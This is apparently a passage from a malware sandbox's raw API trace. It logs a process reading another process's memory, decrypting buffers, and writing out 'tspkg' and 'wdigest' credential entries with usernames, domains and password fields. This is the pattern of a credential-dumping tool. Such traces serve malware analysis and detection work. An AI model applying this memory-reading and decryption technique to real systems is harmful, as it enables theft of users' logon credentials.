CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7f", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7f", lpUsedDefaultChar=0x0) returned 2 [0194.587] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.587] GetLastError () returned 0x0 [0194.587] SetLastError (dwErrCode=0x0) [0194.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="00", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="00", lpUsedDefaultChar=0x0) returned 2 [0194.587] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.587] GetLastError () returned 0x0 [0194.587] SetLastError (dwErrCode=0x0) [0194.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14", lpUsedDefaultChar=0x0) returned 2 [0194.587] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.587] GetLastError () returned 0x0 [0194.588] SetLastError (dwErrCode=0x0) [0194.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="da", lpUsedDefaultChar=0x0) returned 2 [0194.588] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.588] GetLastError () returned 0x0 [0194.588] SetLastError (dwErrCode=0x0) [0194.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8f", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8f", lpUsedDefaultChar=0x0) returned 2 [0194.588] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.588] GetLastError () returned 0x0 [0194.588] SetLastError (dwErrCode=0x0) [0194.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ee", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ee", lpUsedDefaultChar=0x0) returned 2 [0194.588] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.588] GetLastError () returned 0x0 [0194.588] SetLastError (dwErrCode=0x0) [0194.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="51", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="51", lpUsedDefaultChar=0x0) returned 2 [0194.588] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.589] GetLastError () returned 0x0 [0194.589] SetLastError (dwErrCode=0x0) [0194.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="21", lpUsedDefaultChar=0x0) returned 2 [0194.589] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.589] GetLastError () returned 0x0 [0194.589] SetLastError (dwErrCode=0x0) [0194.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="58", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="58", lpUsedDefaultChar=0x0) returned 2 [0194.589] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.589] GetLastError () returned 0x0 [0194.589] SetLastError (dwErrCode=0x0) [0194.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fe", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fe", lpUsedDefaultChar=0x0) returned 2 [0194.589] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.589] GetLastError () returned 0x0 [0194.589] SetLastError (dwErrCode=0x0) [0194.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0d", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0d", lpUsedDefaultChar=0x0) returned 2 [0194.589] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.590] GetLastError () returned 0x0 [0194.590] SetLastError (dwErrCode=0x0) [0194.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11", lpUsedDefaultChar=0x0) returned 2 [0194.590] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.590] GetLastError () returned 0x0 [0194.590] SetLastError (dwErrCode=0x0) [0194.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1e", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1e", lpUsedDefaultChar=0x0) returned 2 [0194.590] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.590] GetLastError () returned 0x0 [0194.590] SetLastError (dwErrCode=0x0) [0194.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="41", lpUsedDefaultChar=0x0) returned 2 [0194.590] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.590] GetLastError () returned 0x0 [0194.590] SetLastError (dwErrCode=0x0) [0194.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="a0", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a0", lpUsedDefaultChar=0x0) returned 2 [0194.590] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.591] GetLastError () returned 0x0 [0194.591] SetLastError (dwErrCode=0x0) [0194.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ad", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ad", lpUsedDefaultChar=0x0) returned 2 [0194.591] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.593] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x181af0 [0194.595] RtlAllocateHeap (HeapHandle=0x140000, Flags=0x0, Size=0x5e) returned 0x1691d0 [0194.597] CryptAcquireContextW (in: phProv=0x10f828, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x10f828*=0x16c680) returned 1 [0194.652] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x18e060 [0194.661] CryptImportKey (in: hProv=0x16c680, pbData=0x18e060, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x100, phKey=0x10f830 | out: phKey=0x10f830*=0x1692b0) returned 1 [0194.662] LocalFree (hMem=0x18e060) returned 0x0 [0194.662] CryptCreateHash (in: hProv=0x16c680, Algid=0x8009, hKey=0x1692b0, dwFlags=0x0, phHash=0x10f820 | out: phHash=0x10f820) returned 1 [0194.662] CryptSetHashParam (hHash=0x169320, dwParam=0x5, pbData=0x10f838, dwFlags=0x0) returned 1 [0194.662] CryptHashData (hHash=0x169320, pbData=0x1691d0, dwDataLen=0x5e, dwFlags=0x0) returned 1 [0194.663] CryptGetHashParam (in: hHash=0x169320, dwParam=0x2, pbData=0x0, pdwDataLen=0x10f880, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x10f880) returned 1 [0194.663] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bc20 [0194.663] CryptGetHashParam (in: hHash=0x169320, dwParam=0x2, pbData=0x16bc20, pdwDataLen=0x10f880, dwFlags=0x0 | out: pbData=0x16bc20, pdwDataLen=0x10f880) returned 1 [0194.663] LocalFree (hMem=0x16bc20) returned 0x0 [0194.663] CryptDestroyHash (hHash=0x169320) returned 1 [0194.663] CryptDestroyKey (hKey=0x1692b0) returned 1 [0194.663] CryptReleaseContext (hProv=0x16c680, dwFlags=0x0) returned 1 [0194.663] CryptAcquireContextW (in: phProv=0x10f828, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x10f828*=0x16c680) returned 1 [0194.664] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x18e030 [0194.664] CryptImportKey (in: hProv=0x16c680, pbData=0x18e030, dwDataLen=0x20, hPubKey=0x0, dwFlags=0x100, phKey=0x10f830 | out: phKey=0x10f830*=0x1692b0) returned 1 [0194.664] LocalFree (hMem=0x18e030) returned 0x0 [0194.664] CryptCreateHash (in: hProv=0x16c680, Algid=0x8009, hKey=0x1692b0, dwFlags=0x0, phHash=0x10f820 | out: phHash=0x10f820) returned 1 [0194.664] CryptSetHashParam (hHash=0x169320, dwParam=0x5, pbData=0x10f838, dwFlags=0x0) returned 1 [0194.664] CryptHashData (hHash=0x169320, pbData=0x1691d0, dwDataLen=0x5e, dwFlags=0x0) returned 1 [0194.664] CryptGetHashParam (in: hHash=0x169320, dwParam=0x2, pbData=0x0, pdwDataLen=0x10f880, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x10f880) returned 1 [0194.664] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bc20 [0194.664] CryptGetHashParam (in: hHash=0x169320, dwParam=0x2, pbData=0x16bc20, pdwDataLen=0x10f880, dwFlags=0x0 | out: pbData=0x16bc20, pdwDataLen=0x10f880) returned 1 [0194.664] LocalFree (hMem=0x16bc20) returned 0x0 [0194.664] CryptDestroyHash (hHash=0x169320) returned 1 [0194.664] CryptDestroyKey (hKey=0x1692b0) returned 1 [0194.664] CryptReleaseContext (hProv=0x16c680, dwFlags=0x0) returned 1 [0194.664] LocalFree (hMem=0x169240) returned 0x0 [0194.664] LocalFree (hMem=0x17db00) returned 0x0 [0194.664] LocalFree (hMem=0x181a40) returned 0x0 [0194.665] GetLastError () returned 0x0 [0194.665] SetLastError (dwErrCode=0x0) [0194.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nᙀ䥃⌓?༦箆꩟᦬䘤ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 2 [0194.665] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0194.665] GetLastError () returned 0x0 [0194.665] SetLastError (dwErrCode=0x0) [0194.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09tspkg :\x09꩟᦬䘤ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=9, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09tspkg :\x09 \x18", lpUsedDefaultChar=0x0) returned 9 [0194.665] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x9, lpOverlapped=0x0) returned 1 [0194.666] LocalAlloc (uFlags=0x40, uBytes=0x18000) returned 0x18eb70 [0194.667] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf80000, lpBuffer=0x18eb70, nSize=0x18000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18eb70*, lpNumberOfBytesRead=0x0) returned 1 [0195.572] LocalFree (hMem=0x18eb70) returned 0x0 [0195.572] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf85b09, lpBuffer=0x10f9e0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f9e0*, lpNumberOfBytesRead=0x0) returned 1 [0195.572] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf94b00, lpBuffer=0x10f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f960*, lpNumberOfBytesRead=0x0) returned 1 [0195.572] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6000, lpBuffer=0x10f8b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f8b0*, lpNumberOfBytesRead=0x0) returned 1 [0195.572] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0195.572] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1cc110, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0195.572] LocalFree (hMem=0x160a40) returned 0x0 [0195.572] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a60a0, lpBuffer=0x10f800, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f800*, lpNumberOfBytesRead=0x0) returned 1 [0195.572] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0195.573] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d6050, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0195.573] LocalFree (hMem=0x160a40) returned 0x0 [0195.573] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d60d8, lpBuffer=0x10fa90, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa90*, lpNumberOfBytesRead=0x0) returned 1 [0195.573] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c1ae0, lpBuffer=0x10fa40, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa40*, lpNumberOfBytesRead=0x0) returned 1 [0195.573] ConvertSidToStringSidW () returned 0x1 [0195.573] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bba0 [0195.573] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5dd0, lpBuffer=0x16bba0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bba0*, lpNumberOfBytesRead=0x0) returned 1 [0195.575] IsTextUnicode (in: lpv=0x16bba0, iSize=18, lpiResult=0x10f960 | out: lpiResult=0x10f960) returned 1 [0195.575] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d310 [0195.575] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6050, lpBuffer=0x18d310, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18d310*, lpNumberOfBytesRead=0x0) returned 1 [0195.599] IsTextUnicode (in: lpv=0x18d310, iSize=40, lpiResult=0x10f960 | out: lpiResult=0x10f960) returned 1 [0195.599] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bbc0 [0195.599] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5e00, lpBuffer=0x16bbc0, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbc0*, lpNumberOfBytesRead=0x0) returned 1 [0195.599] BCryptDecrypt (in: hKey=0x18e6e0, pbInput=0x16bbc0, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x10f938, cbIV=0x8, pbOutput=0x16bbc0, cbOutput=0x18, pcbResult=0x10f968, dwFlags=0x0 | out: hKey=0x18e6e0, pbIV=0x10f938, pbOutput=0x16bbc0, pcbResult=0x10f968) returned 0x0 [0195.599] GetLastError () returned 0x0 [0195.599] SetLastError (dwErrCode=0x0) [0195.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 밾湻鬑ܼ", cchWideChar=80, lpMultiByteStr=0x10e9d0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 80 [0195.599] WriteFile (in: hFile=0x720, lpBuffer=0x10e9d0*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x10e310, lpOverlapped=0x0 | out: lpBuffer=0x10e9d0*, lpNumberOfBytesWritten=0x10e310*=0x50, lpOverlapped=0x0) returned 1 [0195.599] IsTextUnicode (in: lpv=0x16bbc0, iSize=18, lpiResult=0x10f960 | out: lpiResult=0x10f960) returned 1 [0195.599] GetLastError () returned 0x0 [0195.599] SetLastError (dwErrCode=0x0) [0195.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 밾湻鬑ܼ", cchWideChar=9, lpMultiByteStr=0x10e9d0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 9 [0195.600] WriteFile (in: hFile=0x720, lpBuffer=0x10e9d0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e310, lpOverlapped=0x0 | out: lpBuffer=0x10e9d0*, lpNumberOfBytesWritten=0x10e310*=0x9, lpOverlapped=0x0) returned 1 [0195.600] LocalFree (hMem=0x18d310) returned 0x0 [0195.600] LocalFree (hMem=0x16bba0) returned 0x0 [0195.600] LocalFree (hMem=0x16bbc0) returned 0x0 [0195.600] LocalFree (hMem=0x1692b0) returned 0x0 [0195.600] GetLastError () returned 0x0 [0195.600] SetLastError (dwErrCode=0x0) [0195.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nspkg :\x09꩟᦬䘤ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nspkg :\x09 \x18", lpUsedDefaultChar=0x0) returned 2 [0195.600] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0195.600] GetLastError () returned 0x0 [0195.600] SetLastError (dwErrCode=0x0) [0195.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09wdigest :\x09䘤ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09wdigest :\x09", lpUsedDefaultChar=0x0) returned 11 [0195.600] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0195.600] LocalAlloc (uFlags=0x40, uBytes=0x36000) returned 0x18eb70 [0195.602] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcff0000, lpBuffer=0x18eb70, nSize=0x36000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18eb70*, lpNumberOfBytesRead=0x0) returned 1 [0195.899] LocalFree (hMem=0x18eb70) returned 0x0 [0195.899] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcff17c2, lpBuffer=0x10fa20, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0195.899] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x18e030 [0195.899] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0212c0, lpBuffer=0x10fa38, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa38*, lpNumberOfBytesRead=0x0) returned 1 [0195.899] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187300, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0195.899] LocalFree (hMem=0x18e030) returned 0x0 [0195.899] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x1692b0 [0195.899] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187300, lpBuffer=0x1692b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1692b0*, lpNumberOfBytesRead=0x0) returned 1 [0195.899] ConvertSidToStringSidW () returned 0x1 [0195.899] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d310 [0195.899] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d45a0, lpBuffer=0x18d310, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18d310*, lpNumberOfBytesRead=0x0) returned 1 [0195.899] IsTextUnicode (in: lpv=0x18d310, iSize=40, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0195.900] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bbc0 [0195.900] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7b30, lpBuffer=0x16bbc0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbc0*, lpNumberOfBytesRead=0x0) returned 1 [0195.900] IsTextUnicode (in: lpv=0x16bbc0, iSize=18, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0195.900] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bba0 [0195.900] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7b50, lpBuffer=0x16bba0, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bba0*, lpNumberOfBytesRead=0x0) returned 1 [0195.900] BCryptDecrypt (in: hKey=0x18e6e0, pbInput=0x16bba0, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x10f978, cbIV=0x8, pbOutput=0x16bba0, cbOutput=0x18, pcbResult=0x10f9a8, dwFlags=0x0 | out: hKey=0x18e6e0, pbIV=0x10f978, pbOutput=0x16bba0, pcbResult=0x10f9a8) returned 0x0 [0195.900] GetLastError () returned 0x0 [0195.900] SetLastError (dwErrCode=0x0) [0195.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 놄额உ䵊ၐ峇⥜䄐뛞닏т◹म抾", cchWideChar=80, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 80 [0195.900] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x50, lpOverlapped=0x0) returned 1 [0195.900] IsTextUnicode (in: lpv=0x16bba0, iSize=18, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0195.900] GetLastError () returned 0x0 [0195.900] SetLastError (dwErrCode=0x0) [0195.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 놄额உ䵊ၐ峇⥜䄐뛞닏т◹म抾", cchWideChar=9, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 9 [0195.901] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x9, 